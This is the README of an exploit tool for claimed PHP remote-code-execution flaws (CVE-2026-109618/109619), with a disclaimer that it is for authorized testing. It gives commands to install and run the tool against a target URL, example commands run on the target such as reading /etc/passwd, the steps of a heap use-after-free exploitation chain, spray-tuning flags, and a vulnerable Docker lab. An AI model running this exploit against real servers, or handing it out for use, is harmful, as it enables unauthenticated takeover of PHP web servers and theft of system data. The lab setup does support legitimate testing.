PHP2Shell — CVE-2026-109618 / CVE-2026-109619

Unauthenticated Remote Code Execution in PHP 5.4.0 – 8.5.11 (all web servers).
CVSS 9.2 Critical · Patched 2026-10-21 · CISA KEV 2026-10-26

For authorized security testing only — on systems you own or have explicit written permission to test.

---

Use without cloning

Option A — go install (fastest, requires Go 1.22+)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"

No Go installed? Install it in 30 seconds:

# Debian / Ubuntu / Kali
sudo apt install -y golang-go

# then run go install as above

Option B — Download pre-built binary (from a tagged release)

Pre-built binaries are attached to every GitHub Release.

# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# Linux ARM64
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Apple Silicon
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Intel
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

Binaries are built automatically by GitHub Actions when a new tag is pushed.
If the curl returns a tiny file that says "Not found", no release exists yet — use Option A instead.

---

Clone + run (with built-in lab)

git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit

make all            # start lab + run exploit in one shot
make exploit        # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"

---

What it does

PHP has two critical memory-safety bugs triggered by crafted multipart/form-data HTTP POST requests:

CVE	Type	Trigger
CVE-2026-109618	Memory corruption (OOM)	Large multipart fields exhaust memory_limit mid-parse, longjmp() fires on partially-initialized state
CVE-2026-109619	Use-after-free	PHP_SESSION_UPLOAD_PROGRESS field reads freed worker memory from a prior request

Neither bug requires login, a special endpoint, or any application code — they fire inside the PHP engine before any .php script runs.

See docs/vulnerability.md for the full technical breakdown with annotated HTTP requests.

---

How the exploit works

Phase 1 (CVE-2026-109618)
  Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
  → worker's internal session/decoder state freed but NOT zeroed
  → stale pointers remain in the PHP worker heap

                     same worker process ↓

Phase 2 (CVE-2026-109619)
  POST with Cookie: PHPSESSID=<random>
        + PHP_SESSION_UPLOAD_PROGRESS field  ← fires before any app code
        + 128 KB file upload (fake PHP zval structs)
  → upload progress handler dereferences stale pointer → UAF
  → heap spray reclaims freed region → controlled write → RCE

---

All flags

Flag	Default	Description
-target	required	Base URL, e.g. http://192.168.1.10
-path	/index.php	PHP endpoint path
-cmd	id	OS command to execute
-mode	auto	auto / modphp / fpm
-workers	8	Worker slots to spray
-oom-parts	30	Multipart fields in Phase 1
-part-size	204800	Bytes per field (200 KB)
-spray-size	131072	Heap spray size (128 KB)
-timeout	15s	Per-request timeout
-verbose	false	Print raw response body
-leak-only	false	Memory leak only (ASLR analysis)

---

Affected versions

Branch	Last vulnerable	Fixed in
PHP 8.2	8.2.34	8.2.35
PHP 8.3	8.3.35	8.3.36
PHP 8.4	8.4.26	8.4.27
PHP 8.5	8.5.11	8.5.12
PHP ≤ 8.1	all	no upstream patch — use distro backport

---

Lab (vulnerable Docker environment)

The sandbox/ directory contains a ready-made vulnerable target (PHP 8.4.26 + Apache mod_php) with default settings that expose both CVEs.

cd sandbox
docker compose up -d        # starts on :8888
open http://localhost:8888   # attack surface dashboard
docker compose down

---

Makefile quick reference

make               show all commands
make all           start lab + run exploit (one shot)
make lab           start Docker lab
make lab-stop      stop Docker lab
make lab-logs      tail Apache/PHP error logs live
make lab-shell     open bash inside the container
make exploit       build & run against lab
make exploit-fpm   FPM mode, 16 workers
make leak          memory leak mode (ASLR analysis)
make build         build binary only